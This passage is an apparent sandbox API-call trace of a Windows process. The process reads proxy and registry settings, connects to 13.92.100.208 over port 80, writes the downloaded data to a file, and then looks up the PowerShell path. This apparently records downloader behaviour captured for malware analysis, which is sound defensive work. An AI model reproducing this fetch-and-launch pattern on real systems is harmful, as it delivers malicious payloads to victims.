argp=0x599ec24) returned 0 [0191.754] WSAIoctl (in: s=0x454, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x599ec0c, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x599ec0c, lpOverlapped=0x0) returned -1 [0191.761] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x599e93c, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0192.110] WSAEventSelect (s=0x454, hEventObject=0x458, lNetworkEvents=512) returned 0 [0192.110] WSAIoctl (in: s=0x45c, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x599ec0c, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x599ec0c, lpOverlapped=0x0) returned -1 [0192.111] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x599e93c, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0192.111] WSAEventSelect (s=0x45c, hEventObject=0x460, lNetworkEvents=512) returned 0 [0192.111] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x464 [0192.112] RasConnectionNotificationW (param_1=0xffffffff, param_2=0x464, param_3=0x3) returned 0x0 [0192.118] RegOpenCurrentUser (in: samDesired=0x20019, phkResult=0x599ec38 | out: phkResult=0x599ec38*=0x47c) returned 0x0 [0192.119] RegOpenKeyExW (in: hKey=0x47c, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x599ebec | out: phkResult=0x599ebec*=0x480) returned 0x0 [0192.120] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x484 [0192.120] RegNotifyChangeKeyValue (hKey=0x480, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x484, fAsynchronous=1) returned 0x0 [0192.121] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x599ebf0 | out: phkResult=0x599ebf0*=0x488) returned 0x0 [0192.122] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x48c [0192.122] RegNotifyChangeKeyValue (hKey=0x488, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x48c, fAsynchronous=1) returned 0x0 [0192.122] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x599ebf0 | out: phkResult=0x599ebf0*=0x490) returned 0x0 [0192.123] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x494 [0192.123] RegNotifyChangeKeyValue (hKey=0x490, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x494, fAsynchronous=1) returned 0x0 [0192.123] GetCurrentProcess () returned 0xffffffff [0192.123] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x599ebe0 | out: TokenHandle=0x599ebe0*=0x498) returned 1 [0192.126] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework", ulOptions=0x0, samDesired=0x20019, phkResult=0x599e4e8 | out: phkResult=0x599e4e8*=0x49c) returned 0x0 [0192.126] RegQueryValueExW (in: hKey=0x49c, lpValueName="LegacyWPADSupport", lpReserved=0x0, lpType=0x599e504, lpData=0x0, lpcbData=0x599e500*=0x0 | out: lpType=0x599e504*=0x0, lpData=0x0, lpcbData=0x599e500*=0x0) returned 0x2 [0192.126] RegCloseKey (hKey=0x49c) returned 0x0 [0192.153] WinHttpOpen (pszAgentW=0x0, dwAccessType=0x1, pszProxyW=0x0, pszProxyBypassW=0x0, dwFlags=0x0) returned 0x38b9e0 [0192.168] WinHttpSetTimeouts (hInternet=0x38b9e0, nResolveTimeout=60000, nConnectTimeout=60000, nSendTimeout=60000, nReceiveTimeout=60000) returned 1 [0192.169] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0x599ebec | out: pProxyConfig=0x599ebec) returned 1 [0192.263] CloseHandle (hObject=0x208) returned 1 [0192.272] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.HttpWebRequest_Disabled", lpBuffer=0x599e37c, nSize=0xf2 | out: lpBuffer="") returned 0x0 [0192.272] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.HttpWebRequest_MinCount", lpBuffer=0x599e37c, nSize=0xf2 | out: lpBuffer="") returned 0x0 [0192.278] EtwEventRegister () returned 0x0 [0192.285] GetCurrentProcess () returned 0xffffffff [0192.285] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x599e904 | out: TokenHandle=0x599e904*=0x4d4) returned 1 [0192.291] CloseHandle (hObject=0x4d4) returned 1 [0192.291] GetCurrentProcess () returned 0xffffffff [0192.291] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x599e91c | out: TokenHandle=0x599e91c*=0x4d4) returned 1 [0192.292] CloseHandle (hObject=0x4d4) returned 1 [0192.299] SetEvent (hEvent=0x258) returned 1 [0192.315] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x599eb24*=0x464, lpdwindex=0x599e948 | out: lpdwindex=0x599e948) returned 0x80010115 [0192.316] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x599eb04*=0x458, lpdwindex=0x599e928 | out: lpdwindex=0x599e928) returned 0x80010115 [0192.316] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x599eb04*=0x460, lpdwindex=0x599e928 | out: lpdwindex=0x599e928) returned 0x80010115 [0192.316] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x599eb58*=0x484, lpdwindex=0x599e97c | out: lpdwindex=0x599e97c) returned 0x80010115 [0192.317] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x599eb58*=0x48c, lpdwindex=0x599e97c | out: lpdwindex=0x599e97c) returned 0x80010115 [0192.317] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x599eb58*=0x494, lpdwindex=0x599e97c | out: lpdwindex=0x599e97c) returned 0x80010115 [0192.322] GetCurrentProcess () returned 0xffffffff [0192.322] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x599e860 | out: TokenHandle=0x599e860*=0x4ec) returned 1 [0192.324] CloseHandle (hObject=0x4ec) returned 1 [0192.324] GetCurrentProcess () returned 0xffffffff [0192.324] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x599e878 | out: TokenHandle=0x599e878*=0x4ec) returned 1 [0192.325] CloseHandle (hObject=0x4ec) returned 1 [0192.326] SetEvent (hEvent=0x258) returned 1 [0192.335] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4ec [0192.335] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4f0 [0192.335] ioctlsocket (in: s=0x4ec, cmd=-2147195266, argp=0x599ebd0 | out: argp=0x599ebd0) returned 0 [0192.336] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4f4 [0192.336] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4f8 [0192.336] ioctlsocket (in: s=0x4f4, cmd=-2147195266, argp=0x599ebd0 | out: argp=0x599ebd0) returned 0 [0192.336] WSAIoctl (in: s=0x4ec, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x599ebb8, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x599ebb8, lpOverlapped=0x0) returned -1 [0192.336] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x599e8e8, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0192.337] WSAEventSelect (s=0x4ec, hEventObject=0x4f0, lNetworkEvents=512) returned 0 [0192.337] WSAIoctl (in: s=0x4f4, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x599ebb8, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x599ebb8, lpOverlapped=0x0) returned -1 [0192.337] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x599e8e8, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0192.337] WSAEventSelect (s=0x4f4, hEventObject=0x4f8, lNetworkEvents=512) returned 0 [0192.345] GetAdaptersAddresses (in: Family=0x0, Flags=0x2e, Reserved=0x0, AdapterAddresses=0x0, SizePointer=0x599ebb4*=0x0 | out: AdapterAddresses=0x0, SizePointer=0x599ebb4*=0x7ec) returned 0x6f [0192.384] LocalAlloc (uFlags=0x0, uBytes=0x7ec) returned 0x5babac0 [0192.384] GetAdaptersAddresses (in: Family=0x0, Flags=0x2e, Reserved=0x0, AdapterAddresses=0x5babac0, SizePointer=0x599ebb4*=0x7ec | out: AdapterAddresses=0x5babac0*(Alignment=0xf00000178, Length=0x178, IfIndex=0xf, Next=0x5babd8c, AdapterName="{2E4C7576-F100-4C39-A70C-5E6D4E6BF9B7}", FirstUnicastAddress=0x5babd00, FirstAnycastAddress=0x0, FirstMulticastAddress=0x0, FirstDnsServerAddress=0x0, DnsSuffix="", Description="Intel(R) 82574L Gigabit Network Connection #4", FriendlyName="Local Area Connection 4", PhysicalAddress=([0]=0x0, [1]=0x13, [2]=0x38, [3]=0x6, [4]=0x65, [5]=0x36, [6]=0x0, [7]=0x0), PhysicalAddressLength=0x6, Flags=0x3e5, DdnsEnabled=0x3e5, RegisterAdapterSuffix=0x3e5, Dhcpv4Enabled=0x3e5, ReceiveOnly=0x3e5, NoMulticast=0x3e5, Ipv6OtherStatefulConfig=0x3e5, NetbiosOverTcpipEnabled=0x3e5, Ipv4Enabled=0x3e5, Ipv6Enabled=0x3e5, Ipv6ManagedAddressConfigurationSupported=0x3e5, Mtu=0x5dc, IfType=0x6, OperStatus=0x1, Ipv6IfIndex=0xf, ZoneIndices=([0]=0xf, [1]=0xf, [2]=0xf, [3]=0xf, [4]=0x1, [5]=0x1, [6]=0x1, [7]=0x1, [8]=0x1, [9]=0x1, [10]=0x1, [11]=0x1, [12]=0x1, [13]=0x1, [14]=0x0, [15]=0x1), FirstPrefix=0x0, TransmitLinkSpeed=0x3b9aca00, ReceiveLinkSpeed=0x3b9aca00, FirstWinsServerAddress=0x0, FirstGatewayAddress=0x0, Ipv4Metric=0xa, Ipv6Metric=0xa, Luid=0x6000009000000, Dhcpv4Server.lpSockaddr=0x5babc38*(sa_family=2, sin_port=0x0, sin_addr="192.168.0.1"), Dhcpv4Server.iSockaddrLength=16, CompartmentId=0x1, NetworkGuid=0x11de7039846ee341, ConnectionType=0x1, TunnelType=0x0, Dhcpv6Server.lpSockaddr=0x0, Dhcpv6Server.iSockaddrLength=0, Dhcpv6ClientDuid=([0]=0x0, [1]=0x1, [2]=0x0, [3]=0x1, [4]=0x27, [5]=0xbf, [6]=0xe, [7]=0x9e, [8]=0x0, [9]=0x26, [10]=0x67, [11]=0xd5, [12]=0xc6, [13]=0x31, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0), Dhcpv6ClientDuidLength=0xe, Dhcpv6Iaid=0x12c89f1d, FirstDnsSuffix=0x0), SizePointer=0x599ebb4*=0x7ec) returned 0x0 [0192.500] LocalFree (hMem=0x5babac0) returned 0x0 [0192.506] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.Connection_Disabled", lpBuffer=0x599e290, nSize=0xf2 | out: lpBuffer="") returned 0x0 [0192.506] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.Connection_MinCount", lpBuffer=0x599e290, nSize=0xf2 | out: lpBuffer="") returned 0x0 [0192.516] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4fc [0192.517] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x500 [0192.910] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x599e9a8*=0x4f0, lpdwindex=0x599e7cc | out: lpdwindex=0x599e7cc) returned 0x80010115 [0192.910] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x599e9a8*=0x4f8, lpdwindex=0x599e7cc | out: lpdwindex=0x599e7cc) returned 0x80010115 [0192.911] WSAConnect (in: s=0x4fc, name=0x25478d8*(sa_family=2, sin_port=0x50, sin_addr="13.92.100.208"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned 0 [0193.016] closesocket (s=0x500) returned 0 [0193.026] send (s=0x4fc, buf=0x2548428*, len=74, flags=0) returned 74 [0193.031] setsockopt (s=0x4fc, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0 [0193.032] recv (in: s=0x4fc, buf=0x25463b8, len=4096, flags=0 | out: buf=0x25463b8*) returned 2920 [0193.158] setsockopt (s=0x4fc, level=65535, optname=4102, optval="à\x93\x04", optlen=4) returned 0 [0193.159] recv (in: s=0x4fc, buf=0x254a7dc, len=65536, flags=0 | out: buf=0x254a7dc*) returned 11680 [0193.160] WriteFile (in: hFile=0x25c, lpBuffer=0x255a880*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x599ecec, lpOverlapped=0x0 | out: lpBuffer=0x255a880*, lpNumberOfBytesWritten=0x599ecec*=0x1000, lpOverlapped=0x0) returned 1 [0193.161] WriteFile (in: hFile=0x25c, lpBuffer=0x254ada8*, nNumberOfBytesToWrite=0x27d4, lpNumberOfBytesWritten=0x599ecec, lpOverlapped=0x0 | out: lpBuffer=0x254ada8*, lpNumberOfBytesWritten=0x599ecec*=0x27d4, lpOverlapped=0x0) returned 1 [0193.162] recv (in: s=0x4fc, buf=0x254a7dc, len=65536, flags=0 | out: buf=0x254a7dc*) returned 2920 [0193.235] recv (in: s=0x4fc, buf=0x254a7dc, len=65536, flags=0 | out: buf=0x254a7dc*) returned 26280 [0193.236] WriteFile (in: hFile=0x25c, lpBuffer=0x255a880*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x599ecec, lpOverlapped=0x0 | out: lpBuffer=0x255a880*, lpNumberOfBytesWritten=0x599ecec*=0x1000, lpOverlapped=0x0) returned 1 [0193.236] WriteFile (in: hFile=0x25c, lpBuffer=0x254ac74*, nNumberOfBytesToWrite=0x6210, lpNumberOfBytesWritten=0x599ecec, lpOverlapped=0x0 | out: lpBuffer=0x254ac74*, lpNumberOfBytesWritten=0x599ecec*=0x6210, lpOverlapped=0x0) returned 1 [0193.237] recv (in: s=0x4fc, buf=0x254a7dc, len=65536, flags=0 | out: buf=0x254a7dc*) returned 2920 [0193.339] recv (in: s=0x4fc, buf=0x254a7dc, len=65536, flags=0 | out: buf=0x254a7dc*) returned 55480 [0193.339] WriteFile (in: hFile=0x25c, lpBuffer=0x255a880*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x599ecec, lpOverlapped=0x0 | out: lpBuffer=0x255a880*, lpNumberOfBytesWritten=0x599ecec*=0x1000, lpOverlapped=0x0) returned 1 [0193.339] WriteFile (in: hFile=0x25c, lpBuffer=0x254ac74*, nNumberOfBytesToWrite=0xd420, lpNumberOfBytesWritten=0x599ecec, lpOverlapped=0x0 | out: lpBuffer=0x254ac74*, lpNumberOfBytesWritten=0x599ecec*=0xd420, lpOverlapped=0x0) returned 1 [0193.341] recv (in: s=0x4fc, buf=0x254a7dc, len=65536, flags=0 | out: buf=0x254a7dc*) returned 2920 [0193.436] recv (in: s=0x4fc, buf=0x254a7dc, len=65536, flags=0 | out: buf=0x254a7dc*) returned 14600 [0193.437] WriteFile (in: hFile=0x25c, lpBuffer=0x255a880*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x599ecec, lpOverlapped=0x0 | out: lpBuffer=0x255a880*, lpNumberOfBytesWritten=0x599ecec*=0x1000, lpOverlapped=0x0) returned 1 [0193.437] WriteFile (in: hFile=0x25c, lpBuffer=0x254ac74*, nNumberOfBytesToWrite=0x3470, lpNumberOfBytesWritten=0x599ecec, lpOverlapped=0x0 | out: lpBuffer=0x254ac74*, lpNumberOfBytesWritten=0x599ecec*=0x3470, lpOverlapped=0x0) returned 1 [0193.438] recv (in: s=0x4fc, buf=0x254a7dc, len=65536, flags=0 | out: buf=0x254a7dc*) returned 5840 [0193.438] WriteFile (in: hFile=0x25c, lpBuffer=0x254a7dc*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x599ecec, lpOverlapped=0x0 | out: lpBuffer=0x254a7dc*, lpNumberOfBytesWritten=0x599ecec*=0x16d0, lpOverlapped=0x0) returned 1 [0193.444] recv (in: s=0x4fc, buf=0x254a7dc, len=65536, flags=0 | out: buf=0x254a7dc*) returned 42688 [0193.444] WriteFile (in: hFile=0x25c, lpBuffer=0x254a7dc*, nNumberOfBytesToWrite=0xa6c0, lpNumberOfBytesWritten=0x599ecec, lpOverlapped=0x0 | out: lpBuffer=0x254a7dc*, lpNumberOfBytesWritten=0x599ecec*=0xa6c0, lpOverlapped=0x0) returned 1 [0193.445] recv (in: s=0x4fc, buf=0x254a7dc, len=65536, flags=0 | out: buf=0x254a7dc*) returned 1112 [0193.534] recv (in: s=0x4fc, buf=0x254a7dc, len=65536, flags=0 | out: buf=0x254a7dc*) returned 13140 [0193.535] WriteFile (in: hFile=0x25c, lpBuffer=0x255a880*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x599ecec, lpOverlapped=0x0 | out: lpBuffer=0x255a880*, lpNumberOfBytesWritten=0x599ecec*=0x1000, lpOverlapped=0x0) returned 1 [0193.535] WriteFile (in: hFile=0x25c, lpBuffer=0x254b384*, nNumberOfBytesToWrite=0x27ac, lpNumberOfBytesWritten=0x599ecec, lpOverlapped=0x0 | out: lpBuffer=0x254b384*, lpNumberOfBytesWritten=0x599ecec*=0x27ac, lpOverlapped=0x0) returned 1 [0193.536] recv (in: s=0x4fc, buf=0x254a7dc, len=65536, flags=0 | out: buf=0x254a7dc*) returned 1460 [0193.536] recv (in: s=0x4fc, buf=0x254a7dc, len=65536, flags=0 | out: buf=0x254a7dc*) returned 2920 [0193.540] WriteFile (in: hFile=0x25c, lpBuffer=0x255a880*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x599ecec, lpOverlapped=0x0 | out: lpBuffer=0x255a880*, lpNumberOfBytesWritten=0x599ecec*=0x1000, lpOverlapped=0x0) returned 1 [0193.540] recv (in: s=0x4fc, buf=0x254a7dc, len=65536, flags=0 | out: buf=0x254a7dc*) returned 13624 [0193.541] WriteFile (in: hFile=0x25c, lpBuffer=0x255a880*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x599ecec, lpOverlapped=0x0 | out: lpBuffer=0x255a880*, lpNumberOfBytesWritten=0x599ecec*=0x1000, lpOverlapped=0x0) returned 1 [0193.541] WriteFile (in: hFile=0x25c, lpBuffer=0x254b6c0*, nNumberOfBytesToWrite=0x2654, lpNumberOfBytesWritten=0x599ecec, lpOverlapped=0x0 | out: lpBuffer=0x254b6c0*, lpNumberOfBytesWritten=0x599ecec*=0x2654, lpOverlapped=0x0) returned 1 [0193.541] recv (in: s=0x4fc, buf=0x254a7dc, len=65536, flags=0 | out: buf=0x254a7dc*) returned 976 [0193.543] recv (in: s=0x4fc, buf=0x254a7dc, len=65536, flags=0 | out: buf=0x254a7dc*) returned 23360 [0193.544] WriteFile (in: hFile=0x25c, lpBuffer=0x255a880*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x599ecec, lpOverlapped=0x0 | out: lpBuffer=0x255a880*, lpNumberOfBytesWritten=0x599ecec*=0x1000, lpOverlapped=0x0) returned 1 [0193.545] WriteFile (in: hFile=0x25c, lpBuffer=0x254b40c*, nNumberOfBytesToWrite=0x4f10, lpNumberOfBytesWritten=0x599ecec, lpOverlapped=0x0 | out: lpBuffer=0x254b40c*, lpNumberOfBytesWritten=0x599ecec*=0x4f10, lpOverlapped=0x0) returned 1 [0193.546] recv (in: s=0x4fc, buf=0x254a7dc, len=65536, flags=0 | out: buf=0x254a7dc*) returned 8760 [0193.547] WriteFile (in: hFile=0x25c, lpBuffer=0x254a7dc*, nNumberOfBytesToWrite=0x2238, lpNumberOfBytesWritten=0x599ecec, lpOverlapped=0x0 | out: lpBuffer=0x254a7dc*, lpNumberOfBytesWritten=0x599ecec*=0x2238, lpOverlapped=0x0) returned 1 [0193.547] recv (in: s=0x4fc, buf=0x254a7dc, len=65536, flags=0 | out: buf=0x254a7dc*) returned 2920 [0193.634] recv (in: s=0x4fc, buf=0x254a7dc, len=65536, flags=0 | out: buf=0x254a7dc*) returned 65536 [0193.642] WriteFile (in: hFile=0x25c, lpBuffer=0x255a880*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x599ecec, lpOverlapped=0x0 | out: lpBuffer=0x255a880*, lpNumberOfBytesWritten=0x599ecec*=0x1000, lpOverlapped=0x0) returned 1 [0193.643] WriteFile (in: hFile=0x25c, lpBuffer=0x254ac74*, nNumberOfBytesToWrite=0xfb68, lpNumberOfBytesWritten=0x599ecec, lpOverlapped=0x0 | out: lpBuffer=0x254ac74*, lpNumberOfBytesWritten=0x599ecec*=0xfb68, lpOverlapped=0x0) returned 1 [0193.648] recv (in: s=0x4fc, buf=0x254a7dc, len=65536, flags=0 | out: buf=0x254a7dc*) returned 65536 [0193.648] WriteFile (in: hFile=0x25c, lpBuffer=0x254a7dc*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x599ecec, lpOverlapped=0x0 | out: lpBuffer=0x254a7dc*, lpNumberOfBytesWritten=0x599ecec*=0x10000, lpOverlapped=0x0) returned 1 [0193.649] recv (in: s=0x4fc, buf=0x254a7dc, len=65536, flags=0 | out: buf=0x254a7dc*) returned 54348 [0193.650] WriteFile (in: hFile=0x25c, lpBuffer=0x254a7dc*, nNumberOfBytesToWrite=0xd44c, lpNumberOfBytesWritten=0x599ecec, lpOverlapped=0x0 | out: lpBuffer=0x254a7dc*, lpNumberOfBytesWritten=0x599ecec*=0xd44c, lpOverlapped=0x0) returned 1 [0193.651] recv (in: s=0x4fc, buf=0x254a7dc, len=65536, flags=0 | out: buf=0x254a7dc*) returned 2920 [0193.734] recv (in: s=0x4fc, buf=0x254a7dc, len=65536, flags=0 | out: buf=0x254a7dc*) returned 65536 [0193.735] WriteFile (in: hFile=0x25c, lpBuffer=0x255a880*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x599ecec, lpOverlapped=0x0 | out: lpBuffer=0x255a880*, lpNumberOfBytesWritten=0x599ecec*=0x1000, lpOverlapped=0x0) returned 1 [0193.735] WriteFile (in: hFile=0x25c, lpBuffer=0x254ac74*, nNumberOfBytesToWrite=0xfb68, lpNumberOfBytesWritten=0x599ecec, lpOverlapped=0x0 | out: lpBuffer=0x254ac74*, lpNumberOfBytesWritten=0x599ecec*=0xfb68, lpOverlapped=0x0) returned 1 [0193.737] recv (in: s=0x4fc, buf=0x254a7dc, len=65536, flags=0 | out: buf=0x254a7dc*) returned 13304 [0193.737] WriteFile (in: hFile=0x25c, lpBuffer=0x254a7dc*, nNumberOfBytesToWrite=0x33f8, lpNumberOfBytesWritten=0x599ecec, lpOverlapped=0x0 | out: lpBuffer=0x254a7dc*, lpNumberOfBytesWritten=0x599ecec*=0x33f8, lpOverlapped=0x0) returned 1 [0193.738] recv (in: s=0x4fc, buf=0x254a7dc, len=65536, flags=0 | out: buf=0x254a7dc*) returned 5840 [0193.743] WriteFile (in: hFile=0x25c, lpBuffer=0x254a7dc*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x599ecec, lpOverlapped=0x0 | out: lpBuffer=0x254a7dc*, lpNumberOfBytesWritten=0x599ecec*=0x16d0, lpOverlapped=0x0) returned 1 [0193.743] recv (in: s=0x4fc, buf=0x254a7dc, len=65536, flags=0 | out: buf=0x254a7dc*) returned 18980 [0193.744] WriteFile (in: hFile=0x25c, lpBuffer=0x254a7dc*, nNumberOfBytesToWrite=0x4a24, lpNumberOfBytesWritten=0x599ecec, lpOverlapped=0x0 | out: lpBuffer=0x254a7dc*, lpNumberOfBytesWritten=0x599ecec*=0x4a24, lpOverlapped=0x0) returned 1 [0193.750] recv (in: s=0x4fc, buf=0x254a7dc, len=65536, flags=0 | out: buf=0x254a7dc*) returned 65536 [0193.750] WriteFile (in: hFile=0x25c, lpBuffer=0x254a7dc*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x599ecec, lpOverlapped=0x0 | out: lpBuffer=0x254a7dc*, lpNumberOfBytesWritten=0x599ecec*=0x10000, lpOverlapped=0x0) returned 1 [0193.751] recv (in: s=0x4fc, buf=0x254a7dc, len=43692, flags=0 | out: buf=0x254a7dc*) returned 43692 [0193.752] SetEvent (hEvent=0x258) returned 1 [0193.752] WriteFile (in: hFile=0x25c, lpBuffer=0x254a7dc*, nNumberOfBytesToWrite=0xaaac, lpNumberOfBytesWritten=0x599ecec, lpOverlapped=0x0 | out: lpBuffer=0x254a7dc*, lpNumberOfBytesWritten=0x599ecec*=0xaaac, lpOverlapped=0x0) returned 1 [0193.753] CloseHandle (hObject=0x25c) returned 1 [0193.764] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x599e9b4, nSize=0xf2 | out: lpBuffer="") returned 0x0 [0193.765] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x599e8d0, nSize=0xf2 | out: lpBuffer="") returned 0xf1 [0193.765] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x599e8bc, nSize=0xf2 | out: lpBuffer="") returned 0x3a [0193.766] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x388ba8 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop") returned 0x1a [0193.767] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x599e8c4, nSize=0xf2 | out: lpBuffer="") returned 0x3a [0193.767] GetFullPathNameW (in: lpFileName="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) 